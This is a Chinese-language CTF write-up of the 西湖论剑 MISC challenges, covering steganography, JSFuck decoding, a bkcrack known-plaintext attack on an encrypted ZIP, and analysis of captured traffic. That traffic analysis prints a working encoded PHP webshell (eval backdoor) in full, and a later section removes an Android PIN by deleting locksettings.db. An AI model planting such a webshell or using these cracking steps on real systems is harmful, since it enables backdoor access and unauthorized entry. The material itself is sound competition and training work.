1

西湖论剑MISC

 1 year ago
source link: https://charmersix.icu/2023/03/18/%E8%A5%BF%E6%B9%96%E8%AE%BA%E5%89%91MISC/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

西湖论剑MISC

三月 18, 2023

拖进winhex, 发现结尾是一张png, foremost分出来试一下

foremost /home/kali/Desktop/cipher.mp3

得到一张这样很像打了码的二维码, 但又不是二维码的图片flag

这里我们没有思路, 再放进zsteg里跑一下

zsteg flag.png --all
image-20230225163842502

发现zip一个, 将其提取出来

zsteg -e 'b1,r,lsb,xy' flag.png > flag.zip

有密码, 放到爆破里看一下, 看来是没戏, 剩下的思路就是MP3里应该还隐写了东西, MP3Stego跑一下

image-20230225164505241

解压拿到47.txt

2lO,.j2lL000iZZ2[2222iWP,.ZQQX,2.[002iZZ2[2020iWP,.ZQQX,2.[020iZZ2[2022iWLNZQQX,2.[2202iW2,2.ZQQX,2.[022iZZ2[2220iWPQQZQQX,2.[200iZZ2[202iZZ2[2200iWLNZQQX,2.[220iZZ2[222iZZ2[2000iZZ2[2002iZZ2Nj2]20lW2]20l2ZQQX,2]202.ZW2]02l2]20,2]002.XZW2]22lW2]2ZQQX,2]002.XZWWP2XZQQX,2]022.ZW2]00l2]20,2]220.XZW2]2lWPQQZQQX,2]002.XZW2]0lWPQQZQQX,2]020.XZ2]20,2]202.Z2]00Z2]02Z2]2j2]22l2]2ZWPQQZQQX,2]022.Z2]00Z2]0Z2]2Z2]22j2]2lW2]000X,2]20.,2]20.j2]2W2]2W2]22ZQ-QQZ2]2020ZWP,.ZQQX,2]020.Z2]2220ZQ--QZ2]002Z2]220Z2]020Z2]00ZQW---Q--QZ2]002Z2]000Z2]200ZQ--QZ2]002Z2]000Z2]002ZQ--QZ2]002Z2]020Z2]022ZQ--QZ2]002Z2]000Z2]022ZQ--QZ2]002Z2]020Z2]200ZQ--QZ2]002Z2]000Z2]220ZQLQZ2]2222Z2]2000Z2]000Z2]2002Z2]222Z2]020Z2]202Z2]222Z2]2202Z2]220Z2]2002Z2]2002Z2]2202Z2]222Z2]2222Z2]2202Z2]2022Z2]2020Z2]222Z2]2220Z2]2002Z2]222Z2]2020Z2]002Z2]202Z2]2200Z2]200Z2]2222Z2]2002Z2]200Z2]2022Z2]200ZQN---Q--QZ2]200Z2]000ZQXjQZQ-QQXWXXWXj

唯一提示: 47, 去百度寻找答案

image-20230225164851242

那就试试rot47

image-20230225165214450

得到一段内容

a=~[];a={___:++a,aaaa:(![]+"")[a],__a:++a,a_a_:(![]+"")[a],_a_:++a,a_aa:({}+"")[a],aa_a:(a[a]+"")[a],_aa:++a,aaa_:(!""+"")[a],a__:++a,a_a:++a,aa__:({}+"")[a],aa_:++a,aaa:++a,a___:++a,a__a:++a};a.a_=(a.a_=a+"")[a.a_a]+(a._a=a.a_[a.__a])+(a.aa=(a.a+"")[a.__a])+((!a)+"")[a._aa]+(a.__=a.a_[a.aa_])+(a.a=(!""+"")[a.__a])+(a._=(!""+"")[a._a_])+a.a_[a.a_a]+a.__+a._a+a.a;a.aa=a.a+(!""+"")[a._aa]+a.__+a._+a.a+a.aa;a.a=(a.___)[a.a_][a.a_];a.a(a.a(a.aa+"\""+a.a_a_+(![]+"")[a._a_]+a.aaa_+"\\"+a.__a+a.aa_+a._a_+a.__+"(\\\"\\"+a.__a+a.___+a.a__+"\\"+a.__a+a.___+a.__a+"\\"+a.__a+a._a_+a._aa+"\\"+a.__a+a.___+a._aa+"\\"+a.__a+a._a_+a.a__+"\\"+a.__a+a.___+a.aa_+"{"+a.aaaa+a.a___+a.___+a.a__a+a.aaa+a._a_+a.a_a+a.aaa+a.aa_a+a.aa_+a.a__a+a.a__a+a.aa_a+a.aaa+a.aaaa+a.aa_a+a.a_aa+a.a_a_+a.aaa+a.aaa_+a.a__a+a.aaa+a.a_a_+a.__a+a.a_a+a.aa__+a.a__+a.aaaa+a.a__a+a.a__+a.a_aa+a.a__+"}\\\"\\"+a.a__+a.___+");"+"\"")())();

像是js内容, 直接浏览器运行一下, 拿到flag:DASCTF{f8097257d699d7fdba7e97a15c4f94b4}

image-20230225165635280

当然, 这里我了解到他是jsfuck, 工具在这

image-20230225165732183

可以看一下这里

take_the_zip_easy

这里利用一个明文攻击, 所谓明文攻击就是通过目前已知的部分信息, 去攻击得到未知的一些信息, 那么这个压缩包我们有什么已知的呢?

我们看一下这个压缩包的压缩方式

ZIP的加密算法大致分为两种ZipCrypto和AES-256,各自又分Deflate和Store。

ZipCrypto Deflate

ZipCrypto Store

AES-256 Deflate

AES-256 Store

ZipCrypto算是传统的zip加密方式。只有使用ZipCrypto Deflate /Store才可以使用 ZIP已知明文攻击进行破解。

传统的ZIP已知明文攻击利用,windows下可以使用AZPR,linux下可以使用pkcrack。

image-20230226142826399

那么这个压缩包有什么是我们已知的呢, 我们来winhex细看一下

image-20230226143112141

很明显这个名字是我们已知的, 并且, 那我们把这名字的十六进制数值copy出来646173666C6F772E706361706E67, 然后通过命令 .\bkcrack.exe -C .\zipeasy.zip -c dasflow.zip -x 30 646173666c6f772e706361706e67 -x 0 504B0304

2b7d78f3 0ebcabad a069728c

image-20230226150928286

然后再通过命令 ./bkcrack -C zipeasy.zip -c dasflow.zip -k 2b7d78f3 0ebcabad a069728c -d dasflow.zip拿到流量包

导出HTTP对象, 发现flag.zip

image-20230226152714444

发现还是有密码的, 我们继续翻阅流量包, 这里很明显是黑客上传的webshell, 然后我们追踪最后一条eval.php看一下, 可惜被加密过, 那么我们往前翻, 看一下他的加密方式

image-20230226153339488

我们可以在第六个TCP流里发现这串加密代码

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

然后我们让Chat GPT帮忙看一下

这段代码是一段 PHP 代码,它实现了一个简单的加密和解密机制,同时实现了一个简单的 Webshell 功能。

首先,这段代码使用 @session_start() 开始一个会话,然后使用 @set_time_limit(0) 禁止脚本执行超时,最后使用 @error_reporting(0) 关闭错误报告。

接下来是 encode() 函数,该函数接受两个参数 $D$K,其中 $D 是待加密/解密的字符串,$K 是密钥。函数的主要作用是将 $D 字符串进行加密或解密,具体操作是按位异或(XOR)每个字符与密钥中的字符进行运算,然后返回加密/解密后的结果。

代码中定义了四个变量:

  • $pass:密码,用于验证 POST 请求是否合法。
  • $payloadName:有效载荷名称,用于存储从 POST 请求中获取的有效载荷。
  • $key:加密密钥,用于加密和解密数据。
  • $data:从 POST 请求中获取的加密的数据。

代码的主要逻辑如下:

  • 如果 POST 请求中包含了 $pass 变量,那么将从 POST 请求中获取到的数据 $data 进行解密,然后使用 $payloadName 变量存储有效载荷,如果有效载荷中包含了 getBasicsInfo 字符串,那么直接存储,否则对有效载荷进行加密后再存储。
  • 如果没有包含 $pass 变量,那么检查有效载荷中是否包含了 getBasicsInfo 字符串,如果包含了,则表示要执行命令,否则不做任何处理。

最后,代码使用 eval() 函数执行存储在有效载荷中的 PHP 代码,并将执行结果进行加密后输出。同时,代码还输出了一个哈希值,包括密码和密钥的 MD5 哈希值的前 16 个字符和后 16 个字符,用于验证密码和密钥是否正确。

<?php
function encode($D, $K)
{
for ($i = 0; $i < strlen($D); $i++) {
$c = $K[$i + 1 & 15];
$D[$i] = $D[$i] ^ $c;
}
return $D;
}

//$pass='air123';

$key = 'd8ea7326e6ec5916';

$a = 'J+5pNzMyNmU2mij7dMD/qHMAa1dTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdeYr09l6fxhLPMsLeAwg8MkGmC+Nbz1+kYvogF0EFH1p/KFEzIcNBVfDaa946G+ynGJob9hH1+WlZFwyP79y4/cvxxKNVw8xP1OZWE3';
//$b = substr($a, 16, strlen($a) - 32);
echo gzdecode(encode(base64_decode($a), $key));

然后我们直接看比较靠后的包,终于在我们的36流, 发现了密码airDAS1231qaSW@

image-20230226220408809

最终拿到flag

image-20230226220503128

下载下来是一个npbk文件, npbk可以当作一个压缩包然后直接分析他里边的vmdk, 直接修改后缀为zip, 解压拿到vmdk, npbk也提示我们这是个安卓系统, 我们可以直接将其导入模拟器, 这里我用的是夜神, 其他的应该也是可以的

image-20230318145652128

然后我们开启这台机器, 发现有密码

image-20230318145722541

大部分人参考的都是这篇文章

我们可以借用nox自带的adb shell

这里开启虚拟机, 然后直接终端打开到Nox/bin目录即可

image-20230318145955451

然后直接执行

rm /data/system/locksettings.db

即可清楚pin码

image-20230318150627448

看起来一切正常, 只有一个Skred貌似可以利用

image-20230318152348750

这里是两个人的聊天记录, 一堆压缩包以及两张图片

image-20230318152630986

我们可以从这里将图片保存出来到pc上

image-20230318153049601

二话不说, zsteg跑一下试试, 看的我头皮发麻, 也没看出有什么猫腻

image-20230318155127875

再打开stegsolve这个软件也许会更直观一点, alpha2很明显有东西, 直接提出来看看

image-20230318155314331

保存出来会发现一些不一样的地方, 这里一定要细心一点, 因为文件非常大

image-20230318160036408

这里可以写个脚本将数据二进制提取出来

from PIL import Image

img = Image.open('1.png')
a, b = img.size
flag = ''
for x in range(a):
for y in range(b):
pixel = img.getpixel((x, y))
if x == 400:
r, g, b, alpha = pixel
if alpha == 251:
flag += '0'
elif alpha == 255:
flag += '1'

print(flag)
image-20230318164750192

可以拿到字符串e01544a9333ef62a3aa27357eb52ea8a

像压缩包密码可以解压

image-20230318165200446

这里还有一张图片没有用到, 它的信息居然藏在了exif里可以使用在线工具查看

image-20230318165244816

直接来xor可以拿到flag

image-20230318165407734

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK